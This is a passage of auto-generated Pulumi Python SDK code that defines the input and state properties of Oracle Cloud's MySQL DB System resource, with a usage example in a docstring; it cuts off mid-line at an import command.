pulumi.set(self, "availability_domain", value) @property @pulumi.getter(name="compartmentId") def compartment_id(self) -> pulumi.Input[str]: """ The OCID of the compartment. """ return pulumi.get(self, "compartment_id") @compartment_id.setter def compartment_id(self, value: pulumi.Input[str]): pulumi.set(self, "compartment_id", value) @property @pulumi.getter(name="shapeName") def shape_name(self) -> pulumi.Input[str]: """ The name of the shape. The shape determines the resources allocated * CPU cores and memory for VM shapes; CPU cores, memory and storage for non-VM (or bare metal) shapes. To get a list of shapes, use the [ListShapes](https://docs.cloud.oracle.com/iaas/api/#/en/mysql/20190415/ShapeSummary/ListShapes) operation. """ return pulumi.get(self, "shape_name") @shape_name.setter def shape_name(self, value: pulumi.Input[str]): pulumi.set(self, "shape_name", value) @property @pulumi.getter(name="subnetId") def subnet_id(self) -> pulumi.Input[str]: """ The OCID of the subnet the DB System is associated with. """ return pulumi.get(self, "subnet_id") @subnet_id.setter def subnet_id(self, value: pulumi.Input[str]): pulumi.set(self, "subnet_id", value) @property @pulumi.getter(name="backupPolicy") def backup_policy(self) -> Optional[pulumi.Input['MysqlDbSystemBackupPolicyArgs']]: """ (Updatable) Backup policy as optionally used for DB System Creation. """ return pulumi.get(self, "backup_policy") @backup_policy.setter def backup_policy(self, value: Optional[pulumi.Input['MysqlDbSystemBackupPolicyArgs']]): pulumi.set(self, "backup_policy", value) @property @pulumi.getter(name="configurationId") def configuration_id(self) -> Optional[pulumi.Input[str]]: """ The OCID of the Configuration to be used for this DB System. """ return pulumi.get(self, "configuration_id") @configuration_id.setter def configuration_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "configuration_id", value) @property @pulumi.getter(name="dataStorageSizeInGb") def data_storage_size_in_gb(self) -> Optional[pulumi.Input[int]]: """ Initial size of the data volume in GBs that will be created and attached. Keep in mind that this only specifies the size of the database data volume, the log volume for the database will be scaled appropriately with its shape. It is required if you are creating a new database. It cannot be set if you are creating a database from a backup. """ return pulumi.get(self, "data_storage_size_in_gb") @data_storage_size_in_gb.setter def data_storage_size_in_gb(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "data_storage_size_in_gb", value) @property @pulumi.getter(name="definedTags") def defined_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ (Updatable) Usage of predefined tag keys. These predefined keys are scoped to namespaces. Example: `{"foo-namespace.bar-key": "value"}` """ return pulumi.get(self, "defined_tags") @defined_tags.setter def defined_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "defined_tags", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ (Updatable) User-provided data about the DB System. """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ (Updatable) The user-friendly name for the DB System. It does not have to be unique. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @property @pulumi.getter(name="faultDomain") def fault_domain(self) -> Optional[pulumi.Input[str]]: """ The fault domain on which to deploy the Read/Write endpoint. This defines the preferred primary instance. """ return pulumi.get(self, "fault_domain") @fault_domain.setter def fault_domain(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "fault_domain", value) @property @pulumi.getter(name="freeformTags") def freeform_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ (Updatable) Simple key-value pair applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}` """ return pulumi.get(self, "freeform_tags") @freeform_tags.setter def freeform_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "freeform_tags", value) @property @pulumi.getter(name="hostnameLabel") def hostname_label(self) -> Optional[pulumi.Input[str]]: """ The hostname for the primary endpoint of the DB System. Used for DNS. """ return pulumi.get(self, "hostname_label") @hostname_label.setter def hostname_label(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "hostname_label", value) @property @pulumi.getter(name="ipAddress") def ip_address(self) -> Optional[pulumi.Input[str]]: """ The IP address the DB System is configured to listen on. A private IP address of your choice to assign to the primary endpoint of the DB System. Must be an available IP address within the subnet's CIDR. If you don't specify a value, Oracle automatically assigns a private IP address from the subnet. This should be a "dotted-quad" style IPv4 address. """ return pulumi.get(self, "ip_address") @ip_address.setter def ip_address(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ip_address", value) @property @pulumi.getter(name="isHighlyAvailable") def is_highly_available(self) -> Optional[pulumi.Input[bool]]: """ (Updatable) Specifies if the DB System is highly available. """ return pulumi.get(self, "is_highly_available") @is_highly_available.setter def is_highly_available(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_highly_available", value) @property @pulumi.getter def maintenance(self) -> Optional[pulumi.Input['MysqlDbSystemMaintenanceArgs']]: """ (Updatable) The Maintenance Policy for the DB System. `maintenance` and `backup_policy` cannot be updated in the same request. """ return pulumi.get(self, "maintenance") @maintenance.setter def maintenance(self, value: Optional[pulumi.Input['MysqlDbSystemMaintenanceArgs']]): pulumi.set(self, "maintenance", value) @property @pulumi.getter(name="mysqlVersion") def mysql_version(self) -> Optional[pulumi.Input[str]]: """ Name of the MySQL Version in use for the DB System. """ return pulumi.get(self, "mysql_version") @mysql_version.setter def mysql_version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "mysql_version", value) @property @pulumi.getter def port(self) -> Optional[pulumi.Input[int]]: """ The port for primary endpoint of the DB System to listen on. """ return pulumi.get(self, "port") @port.setter def port(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "port", value) @property @pulumi.getter(name="portX") def port_x(self) -> Optional[pulumi.Input[int]]: """ The TCP network port on which X Plugin listens for connections. This is the X Plugin equivalent of port. """ return pulumi.get(self, "port_x") @port_x.setter def port_x(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "port_x", value) @property @pulumi.getter(name="shutdownType") def shutdown_type(self) -> Optional[pulumi.Input[str]]: """ It is applicable only for stopping a DB System. Could be set to `FAST`, `SLOW` or `IMMEDIATE`. Default value is `FAST`. """ return pulumi.get(self, "shutdown_type") @shutdown_type.setter def shutdown_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "shutdown_type", value) @property @pulumi.getter def source(self) -> Optional[pulumi.Input['MysqlDbSystemSourceArgs']]: """ Parameters detailing how to provision the initial data of the system. """ return pulumi.get(self, "source") @source.setter def source(self, value: Optional[pulumi.Input['MysqlDbSystemSourceArgs']]): pulumi.set(self, "source", value) @property @pulumi.getter def state(self) -> Optional[pulumi.Input[str]]: """ (Updatable) The target state for the DB System. Could be set to `ACTIVE` or `INACTIVE`. """ return pulumi.get(self, "state") @state.setter def state(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "state", value) @pulumi.input_type class _MysqlDbSystemState: def __init__(__self__, *, admin_password: Optional[pulumi.Input[str]] = None, admin_username: Optional[pulumi.Input[str]] = None, analytics_cluster: Optional[pulumi.Input['MysqlDbSystemAnalyticsClusterArgs']] = None, availability_domain: Optional[pulumi.Input[str]] = None, backup_policy: Optional[pulumi.Input['MysqlDbSystemBackupPolicyArgs']] = None, channels: Optional[pulumi.Input[Sequence[pulumi.Input['MysqlDbSystemChannelArgs']]]] = None, compartment_id: Optional[pulumi.Input[str]] = None, configuration_id: Optional[pulumi.Input[str]] = None, current_placement: Optional[pulumi.Input['MysqlDbSystemCurrentPlacementArgs']] = None, data_storage_size_in_gb: Optional[pulumi.Input[int]] = None, defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, description: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None, endpoints: Optional[pulumi.Input[Sequence[pulumi.Input['MysqlDbSystemEndpointArgs']]]] = None, fault_domain: Optional[pulumi.Input[str]] = None, freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, heat_wave_cluster: Optional[pulumi.Input['MysqlDbSystemHeatWaveClusterArgs']] = None, hostname_label: Optional[pulumi.Input[str]] = None, ip_address: Optional[pulumi.Input[str]] = None, is_analytics_cluster_attached: Optional[pulumi.Input[bool]] = None, is_heat_wave_cluster_attached: Optional[pulumi.Input[bool]] = None, is_highly_available: Optional[pulumi.Input[bool]] = None, lifecycle_details: Optional[pulumi.Input[str]] = None, maintenance: Optional[pulumi.Input['MysqlDbSystemMaintenanceArgs']] = None, mysql_version: Optional[pulumi.Input[str]] = None, port: Optional[pulumi.Input[int]] = None, port_x: Optional[pulumi.Input[int]] = None, shape_name: Optional[pulumi.Input[str]] = None, shutdown_type: Optional[pulumi.Input[str]] = None, source: Optional[pulumi.Input['MysqlDbSystemSourceArgs']] = None, state: Optional[pulumi.Input[str]] = None, subnet_id: Optional[pulumi.Input[str]] = None, time_created: Optional[pulumi.Input[str]] = None, time_updated: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering MysqlDbSystem resources. :param pulumi.Input[str] admin_password: The password for the administrative user. The password must be between 8 and 32 characters long, and must contain at least 1 numeric character, 1 lowercase character, 1 uppercase character, and 1 special (nonalphanumeric) character. :param pulumi.Input[str] admin_username: The username for the administrative user. :param pulumi.Input['MysqlDbSystemAnalyticsClusterArgs'] analytics_cluster: DEPRECATED -- please use HeatWave API instead. A summary of an Analytics Cluster. :param pulumi.Input[str] availability_domain: The availability domain on which to deploy the Read/Write endpoint. This defines the preferred primary instance. :param pulumi.Input['MysqlDbSystemBackupPolicyArgs'] backup_policy: (Updatable) Backup policy as optionally used for DB System Creation. :param pulumi.Input[Sequence[pulumi.Input['MysqlDbSystemChannelArgs']]] channels: A list with a summary of all the Channels attached to the DB System. :param pulumi.Input[str] compartment_id: The OCID of the compartment. :param pulumi.Input[str] configuration_id: The OCID of the Configuration to be used for this DB System. :param pulumi.Input['MysqlDbSystemCurrentPlacementArgs'] current_placement: The availability domain and fault domain a DB System is placed in. :param pulumi.Input[int] data_storage_size_in_gb: Initial size of the data volume in GBs that will be created and attached. Keep in mind that this only specifies the size of the database data volume, the log volume for the database will be scaled appropriately with its shape. It is required if you are creating a new database. It cannot be set if you are creating a database from a backup. :param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Usage of predefined tag keys. These predefined keys are scoped to namespaces. Example: `{"foo-namespace.bar-key": "value"}` :param pulumi.Input[str] description: (Updatable) User-provided data about the DB System. :param pulumi.Input[str] display_name: (Updatable) The user-friendly name for the DB System. It does not have to be unique. :param pulumi.Input[Sequence[pulumi.Input['MysqlDbSystemEndpointArgs']]] endpoints: The network endpoints available for this DB System. :param pulumi.Input[str] fault_domain: The fault domain on which to deploy the Read/Write endpoint. This defines the preferred primary instance. :param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Simple key-value pair applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}` :param pulumi.Input['MysqlDbSystemHeatWaveClusterArgs'] heat_wave_cluster: A summary of a HeatWave cluster. :param pulumi.Input[str] hostname_label: The hostname for the primary endpoint of the DB System. Used for DNS. :param pulumi.Input[str] ip_address: The IP address the DB System is configured to listen on. A private IP address of your choice to assign to the primary endpoint of the DB System. Must be an available IP address within the subnet's CIDR. If you don't specify a value, Oracle automatically assigns a private IP address from the subnet. This should be a "dotted-quad" style IPv4 address. :param pulumi.Input[bool] is_analytics_cluster_attached: DEPRECATED -- please use `isHeatWaveClusterAttached` instead. If the DB System has an Analytics Cluster attached. :param pulumi.Input[bool] is_heat_wave_cluster_attached: If the DB System has a HeatWave Cluster attached. :param pulumi.Input[bool] is_highly_available: (Updatable) Specifies if the DB System is highly available. :param pulumi.Input[str] lifecycle_details: Additional information about the current lifecycleState. :param pulumi.Input['MysqlDbSystemMaintenanceArgs'] maintenance: (Updatable) The Maintenance Policy for the DB System. `maintenance` and `backup_policy` cannot be updated in the same request. :param pulumi.Input[str] mysql_version: Name of the MySQL Version in use for the DB System. :param pulumi.Input[int] port: The port for primary endpoint of the DB System to listen on. :param pulumi.Input[int] port_x: The TCP network port on which X Plugin listens for connections. This is the X Plugin equivalent of port. :param pulumi.Input[str] shape_name: The name of the shape. The shape determines the resources allocated * CPU cores and memory for VM shapes; CPU cores, memory and storage for non-VM (or bare metal) shapes. To get a list of shapes, use the [ListShapes](https://docs.cloud.oracle.com/iaas/api/#/en/mysql/20190415/ShapeSummary/ListShapes) operation. :param pulumi.Input[str] shutdown_type: It is applicable only for stopping a DB System. Could be set to `FAST`, `SLOW` or `IMMEDIATE`. Default value is `FAST`. :param pulumi.Input['MysqlDbSystemSourceArgs'] source: Parameters detailing how to provision the initial data of the system. :param pulumi.Input[str] state: (Updatable) The target state for the DB System. Could be set to `ACTIVE` or `INACTIVE`. :param pulumi.Input[str] subnet_id: The OCID of the subnet the DB System is associated with. :param pulumi.Input[str] time_created: The date and time the DB System was created. :param pulumi.Input[str] time_updated: The time the DB System was last updated. """ if admin_password is not None: pulumi.set(__self__, "admin_password", admin_password) if admin_username is not None: pulumi.set(__self__, "admin_username", admin_username) if analytics_cluster is not None: pulumi.set(__self__, "analytics_cluster", analytics_cluster) if availability_domain is not None: pulumi.set(__self__, "availability_domain", availability_domain) if backup_policy is not None: pulumi.set(__self__, "backup_policy", backup_policy) if channels is not None: pulumi.set(__self__, "channels", channels) if compartment_id is not None: pulumi.set(__self__, "compartment_id", compartment_id) if configuration_id is not None: pulumi.set(__self__, "configuration_id", configuration_id) if current_placement is not None: pulumi.set(__self__, "current_placement", current_placement) if data_storage_size_in_gb is not None: pulumi.set(__self__, "data_storage_size_in_gb", data_storage_size_in_gb) if defined_tags is not None: pulumi.set(__self__, "defined_tags", defined_tags) if description is not None: pulumi.set(__self__, "description", description) if display_name is not None: pulumi.set(__self__, "display_name", display_name) if endpoints is not None: pulumi.set(__self__, "endpoints", endpoints) if fault_domain is not None: pulumi.set(__self__, "fault_domain", fault_domain) if freeform_tags is not None: pulumi.set(__self__, "freeform_tags", freeform_tags) if heat_wave_cluster is not None: pulumi.set(__self__, "heat_wave_cluster", heat_wave_cluster) if hostname_label is not None: pulumi.set(__self__, "hostname_label", hostname_label) if ip_address is not None: pulumi.set(__self__, "ip_address", ip_address) if is_analytics_cluster_attached is not None: pulumi.set(__self__, "is_analytics_cluster_attached", is_analytics_cluster_attached) if is_heat_wave_cluster_attached is not None: pulumi.set(__self__, "is_heat_wave_cluster_attached", is_heat_wave_cluster_attached) if is_highly_available is not None: pulumi.set(__self__, "is_highly_available", is_highly_available) if lifecycle_details is not None: pulumi.set(__self__, "lifecycle_details", lifecycle_details) if maintenance is not None: pulumi.set(__self__, "maintenance", maintenance) if mysql_version is not None: warnings.warn("""The 'mysql_version' field has been deprecated and may be removed in a future version. Do not use this field.""", DeprecationWarning) pulumi.log.warn("""mysql_version is deprecated: The 'mysql_version' field has been deprecated and may be removed in a future version. Do not use this field.""") if mysql_version is not None: pulumi.set(__self__, "mysql_version", mysql_version) if port is not None: pulumi.set(__self__, "port", port) if port_x is not None: pulumi.set(__self__, "port_x", port_x) if shape_name is not None: pulumi.set(__self__, "shape_name", shape_name) if shutdown_type is not None: pulumi.set(__self__, "shutdown_type", shutdown_type) if source is not None: pulumi.set(__self__, "source", source) if state is not None: pulumi.set(__self__, "state", state) if subnet_id is not None: pulumi.set(__self__, "subnet_id", subnet_id) if time_created is not None: pulumi.set(__self__, "time_created", time_created) if time_updated is not None: pulumi.set(__self__, "time_updated", time_updated) @property @pulumi.getter(name="adminPassword") def admin_password(self) -> Optional[pulumi.Input[str]]: """ The password for the administrative user. The password must be between 8 and 32 characters long, and must contain at least 1 numeric character, 1 lowercase character, 1 uppercase character, and 1 special (nonalphanumeric) character. """ return pulumi.get(self, "admin_password") @admin_password.setter def admin_password(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "admin_password", value) @property @pulumi.getter(name="adminUsername") def admin_username(self) -> Optional[pulumi.Input[str]]: """ The username for the administrative user. """ return pulumi.get(self, "admin_username") @admin_username.setter def admin_username(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "admin_username", value) @property @pulumi.getter(name="analyticsCluster") def analytics_cluster(self) -> Optional[pulumi.Input['MysqlDbSystemAnalyticsClusterArgs']]: """ DEPRECATED -- please use HeatWave API instead. A summary of an Analytics Cluster. """ return pulumi.get(self, "analytics_cluster") @analytics_cluster.setter def analytics_cluster(self, value: Optional[pulumi.Input['MysqlDbSystemAnalyticsClusterArgs']]): pulumi.set(self, "analytics_cluster", value) @property @pulumi.getter(name="availabilityDomain") def availability_domain(self) -> Optional[pulumi.Input[str]]: """ The availability domain on which to deploy the Read/Write endpoint. This defines the preferred primary instance. """ return pulumi.get(self, "availability_domain") @availability_domain.setter def availability_domain(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "availability_domain", value) @property @pulumi.getter(name="backupPolicy") def backup_policy(self) -> Optional[pulumi.Input['MysqlDbSystemBackupPolicyArgs']]: """ (Updatable) Backup policy as optionally used for DB System Creation. """ return pulumi.get(self, "backup_policy") @backup_policy.setter def backup_policy(self, value: Optional[pulumi.Input['MysqlDbSystemBackupPolicyArgs']]): pulumi.set(self, "backup_policy", value) @property @pulumi.getter def channels(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['MysqlDbSystemChannelArgs']]]]: """ A list with a summary of all the Channels attached to the DB System. """ return pulumi.get(self, "channels") @channels.setter def channels(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['MysqlDbSystemChannelArgs']]]]): pulumi.set(self, "channels", value) @property @pulumi.getter(name="compartmentId") def compartment_id(self) -> Optional[pulumi.Input[str]]: """ The OCID of the compartment. """ return pulumi.get(self, "compartment_id") @compartment_id.setter def compartment_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "compartment_id", value) @property @pulumi.getter(name="configurationId") def configuration_id(self) -> Optional[pulumi.Input[str]]: """ The OCID of the Configuration to be used for this DB System. """ return pulumi.get(self, "configuration_id") @configuration_id.setter def configuration_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "configuration_id", value) @property @pulumi.getter(name="currentPlacement") def current_placement(self) -> Optional[pulumi.Input['MysqlDbSystemCurrentPlacementArgs']]: """ The availability domain and fault domain a DB System is placed in. """ return pulumi.get(self, "current_placement") @current_placement.setter def current_placement(self, value: Optional[pulumi.Input['MysqlDbSystemCurrentPlacementArgs']]): pulumi.set(self, "current_placement", value) @property @pulumi.getter(name="dataStorageSizeInGb") def data_storage_size_in_gb(self) -> Optional[pulumi.Input[int]]: """ Initial size of the data volume in GBs that will be created and attached. Keep in mind that this only specifies the size of the database data volume, the log volume for the database will be scaled appropriately with its shape. It is required if you are creating a new database. It cannot be set if you are creating a database from a backup. """ return pulumi.get(self, "data_storage_size_in_gb") @data_storage_size_in_gb.setter def data_storage_size_in_gb(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "data_storage_size_in_gb", value) @property @pulumi.getter(name="definedTags") def defined_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ (Updatable) Usage of predefined tag keys. These predefined keys are scoped to namespaces. Example: `{"foo-namespace.bar-key": "value"}` """ return pulumi.get(self, "defined_tags") @defined_tags.setter def defined_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "defined_tags", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ (Updatable) User-provided data about the DB System. """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ (Updatable) The user-friendly name for the DB System. It does not have to be unique. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @property @pulumi.getter def endpoints(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['MysqlDbSystemEndpointArgs']]]]: """ The network endpoints available for this DB System. """ return pulumi.get(self, "endpoints") @endpoints.setter def endpoints(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['MysqlDbSystemEndpointArgs']]]]): pulumi.set(self, "endpoints", value) @property @pulumi.getter(name="faultDomain") def fault_domain(self) -> Optional[pulumi.Input[str]]: """ The fault domain on which to deploy the Read/Write endpoint. This defines the preferred primary instance. """ return pulumi.get(self, "fault_domain") @fault_domain.setter def fault_domain(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "fault_domain", value) @property @pulumi.getter(name="freeformTags") def freeform_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ (Updatable) Simple key-value pair applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}` """ return pulumi.get(self, "freeform_tags") @freeform_tags.setter def freeform_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "freeform_tags", value) @property @pulumi.getter(name="heatWaveCluster") def heat_wave_cluster(self) -> Optional[pulumi.Input['MysqlDbSystemHeatWaveClusterArgs']]: """ A summary of a HeatWave cluster. """ return pulumi.get(self, "heat_wave_cluster") @heat_wave_cluster.setter def heat_wave_cluster(self, value: Optional[pulumi.Input['MysqlDbSystemHeatWaveClusterArgs']]): pulumi.set(self, "heat_wave_cluster", value) @property @pulumi.getter(name="hostnameLabel") def hostname_label(self) -> Optional[pulumi.Input[str]]: """ The hostname for the primary endpoint of the DB System. Used for DNS. """ return pulumi.get(self, "hostname_label") @hostname_label.setter def hostname_label(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "hostname_label", value) @property @pulumi.getter(name="ipAddress") def ip_address(self) -> Optional[pulumi.Input[str]]: """ The IP address the DB System is configured to listen on. A private IP address of your choice to assign to the primary endpoint of the DB System. Must be an available IP address within the subnet's CIDR. If you don't specify a value, Oracle automatically assigns a private IP address from the subnet. This should be a "dotted-quad" style IPv4 address. """ return pulumi.get(self, "ip_address") @ip_address.setter def ip_address(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ip_address", value) @property @pulumi.getter(name="isAnalyticsClusterAttached") def is_analytics_cluster_attached(self) -> Optional[pulumi.Input[bool]]: """ DEPRECATED -- please use `isHeatWaveClusterAttached` instead. If the DB System has an Analytics Cluster attached. """ return pulumi.get(self, "is_analytics_cluster_attached") @is_analytics_cluster_attached.setter def is_analytics_cluster_attached(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_analytics_cluster_attached", value) @property @pulumi.getter(name="isHeatWaveClusterAttached") def is_heat_wave_cluster_attached(self) -> Optional[pulumi.Input[bool]]: """ If the DB System has a HeatWave Cluster attached. """ return pulumi.get(self, "is_heat_wave_cluster_attached") @is_heat_wave_cluster_attached.setter def is_heat_wave_cluster_attached(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_heat_wave_cluster_attached", value) @property @pulumi.getter(name="isHighlyAvailable") def is_highly_available(self) -> Optional[pulumi.Input[bool]]: """ (Updatable) Specifies if the DB System is highly available. """ return pulumi.get(self, "is_highly_available") @is_highly_available.setter def is_highly_available(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_highly_available", value) @property @pulumi.getter(name="lifecycleDetails") def lifecycle_details(self) -> Optional[pulumi.Input[str]]: """ Additional information about the current lifecycleState. """ return pulumi.get(self, "lifecycle_details") @lifecycle_details.setter def lifecycle_details(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "lifecycle_details", value) @property @pulumi.getter def maintenance(self) -> Optional[pulumi.Input['MysqlDbSystemMaintenanceArgs']]: """ (Updatable) The Maintenance Policy for the DB System. `maintenance` and `backup_policy` cannot be updated in the same request. """ return pulumi.get(self, "maintenance") @maintenance.setter def maintenance(self, value: Optional[pulumi.Input['MysqlDbSystemMaintenanceArgs']]): pulumi.set(self, "maintenance", value) @property @pulumi.getter(name="mysqlVersion") def mysql_version(self) -> Optional[pulumi.Input[str]]: """ Name of the MySQL Version in use for the DB System. """ return pulumi.get(self, "mysql_version") @mysql_version.setter def mysql_version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "mysql_version", value) @property @pulumi.getter def port(self) -> Optional[pulumi.Input[int]]: """ The port for primary endpoint of the DB System to listen on. """ return pulumi.get(self, "port") @port.setter def port(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "port", value) @property @pulumi.getter(name="portX") def port_x(self) -> Optional[pulumi.Input[int]]: """ The TCP network port on which X Plugin listens for connections. This is the X Plugin equivalent of port. """ return pulumi.get(self, "port_x") @port_x.setter def port_x(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "port_x", value) @property @pulumi.getter(name="shapeName") def shape_name(self) -> Optional[pulumi.Input[str]]: """ The name of the shape. The shape determines the resources allocated * CPU cores and memory for VM shapes; CPU cores, memory and storage for non-VM (or bare metal) shapes. To get a list of shapes, use the [ListShapes](https://docs.cloud.oracle.com/iaas/api/#/en/mysql/20190415/ShapeSummary/ListShapes) operation. """ return pulumi.get(self, "shape_name") @shape_name.setter def shape_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "shape_name", value) @property @pulumi.getter(name="shutdownType") def shutdown_type(self) -> Optional[pulumi.Input[str]]: """ It is applicable only for stopping a DB System. Could be set to `FAST`, `SLOW` or `IMMEDIATE`. Default value is `FAST`. """ return pulumi.get(self, "shutdown_type") @shutdown_type.setter def shutdown_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "shutdown_type", value) @property @pulumi.getter def source(self) -> Optional[pulumi.Input['MysqlDbSystemSourceArgs']]: """ Parameters detailing how to provision the initial data of the system. """ return pulumi.get(self, "source") @source.setter def source(self, value: Optional[pulumi.Input['MysqlDbSystemSourceArgs']]): pulumi.set(self, "source", value) @property @pulumi.getter def state(self) -> Optional[pulumi.Input[str]]: """ (Updatable) The target state for the DB System. Could be set to `ACTIVE` or `INACTIVE`. """ return pulumi.get(self, "state") @state.setter def state(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "state", value) @property @pulumi.getter(name="subnetId") def subnet_id(self) -> Optional[pulumi.Input[str]]: """ The OCID of the subnet the DB System is associated with. """ return pulumi.get(self, "subnet_id") @subnet_id.setter def subnet_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "subnet_id", value) @property @pulumi.getter(name="timeCreated") def time_created(self) -> Optional[pulumi.Input[str]]: """ The date and time the DB System was created. """ return pulumi.get(self, "time_created") @time_created.setter def time_created(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "time_created", value) @property @pulumi.getter(name="timeUpdated") def time_updated(self) -> Optional[pulumi.Input[str]]: """ The time the DB System was last updated. """ return pulumi.get(self, "time_updated") @time_updated.setter def time_updated(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "time_updated", value) class MysqlDbSystem(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, admin_password: Optional[pulumi.Input[str]] = None, admin_username: Optional[pulumi.Input[str]] = None, availability_domain: Optional[pulumi.Input[str]] = None, backup_policy: Optional[pulumi.Input[pulumi.InputType['MysqlDbSystemBackupPolicyArgs']]] = None, compartment_id: Optional[pulumi.Input[str]] = None, configuration_id: Optional[pulumi.Input[str]] = None, data_storage_size_in_gb: Optional[pulumi.Input[int]] = None, defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, description: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None, fault_domain: Optional[pulumi.Input[str]] = None, freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, hostname_label: Optional[pulumi.Input[str]] = None, ip_address: Optional[pulumi.Input[str]] = None, is_highly_available: Optional[pulumi.Input[bool]] = None, maintenance: Optional[pulumi.Input[pulumi.InputType['MysqlDbSystemMaintenanceArgs']]] = None, mysql_version: Optional[pulumi.Input[str]] = None, port: Optional[pulumi.Input[int]] = None, port_x: Optional[pulumi.Input[int]] = None, shape_name: Optional[pulumi.Input[str]] = None, shutdown_type: Optional[pulumi.Input[str]] = None, source: Optional[pulumi.Input[pulumi.InputType['MysqlDbSystemSourceArgs']]] = None, state: Optional[pulumi.Input[str]] = None, subnet_id: Optional[pulumi.Input[str]] = None, __props__=None): """ This resource provides the Mysql Db System resource in Oracle Cloud Infrastructure MySQL Database service. Creates and launches a DB System. ## Example Usage ```python import pulumi import pulumi_oci as oci test_mysql_db_system = oci.mysql.MysqlDbSystem("testMysqlDbSystem", admin_password=var["mysql_db_system_admin_password"], admin_username=var["mysql_db_system_admin_username"], availability_domain=var["mysql_db_system_availability_domain"], compartment_id=var["compartment_id"], shape_name=var["mysql_shape_name"], subnet_id=oci_core_subnet["test_subnet"]["id"], backup_policy=oci.mysql.MysqlDbSystemBackupPolicyArgs( defined_tags={ "foo-namespace.bar-key": "value", }, freeform_tags={ "bar-key": "value", }, is_enabled=var["mysql_db_system_backup_policy_is_enabled"], retention_in_days=var["mysql_db_system_backup_policy_retention_in_days"], window_start_time=var["mysql_db_system_backup_policy_window_start_time"], ), configuration_id=oci_audit_configuration["test_configuration"]["id"], data_storage_size_in_gb=var["mysql_db_system_data_storage_size_in_gb"], defined_tags={ "foo-namespace.bar-key": "value", }, description=var["mysql_db_system_description"], display_name=var["mysql_db_system_display_name"], fault_domain=var["mysql_db_system_fault_domain"], freeform_tags={ "bar-key": "value", }, hostname_label=var["mysql_db_system_hostname_label"], ip_address=var["mysql_db_system_ip_address"], is_highly_available=var["mysql_db_system_is_highly_available"], maintenance=oci.mysql.MysqlDbSystemMaintenanceArgs( window_start_time=var["mysql_db_system_maintenance_window_start_time"], ), port=var["mysql_db_system_port"], port_x=var["mysql_db_system_port_x"], source=oci.mysql.MysqlDbSystemSourceArgs( source_type=var["mysql_db_system_source_source_type"], backup_id=oci_mysql_mysql_backup["test_backup"]["id"], )) ``` ## Import MysqlDbSystems can be imported using the `id`, e.g. ```sh $ pulumi import 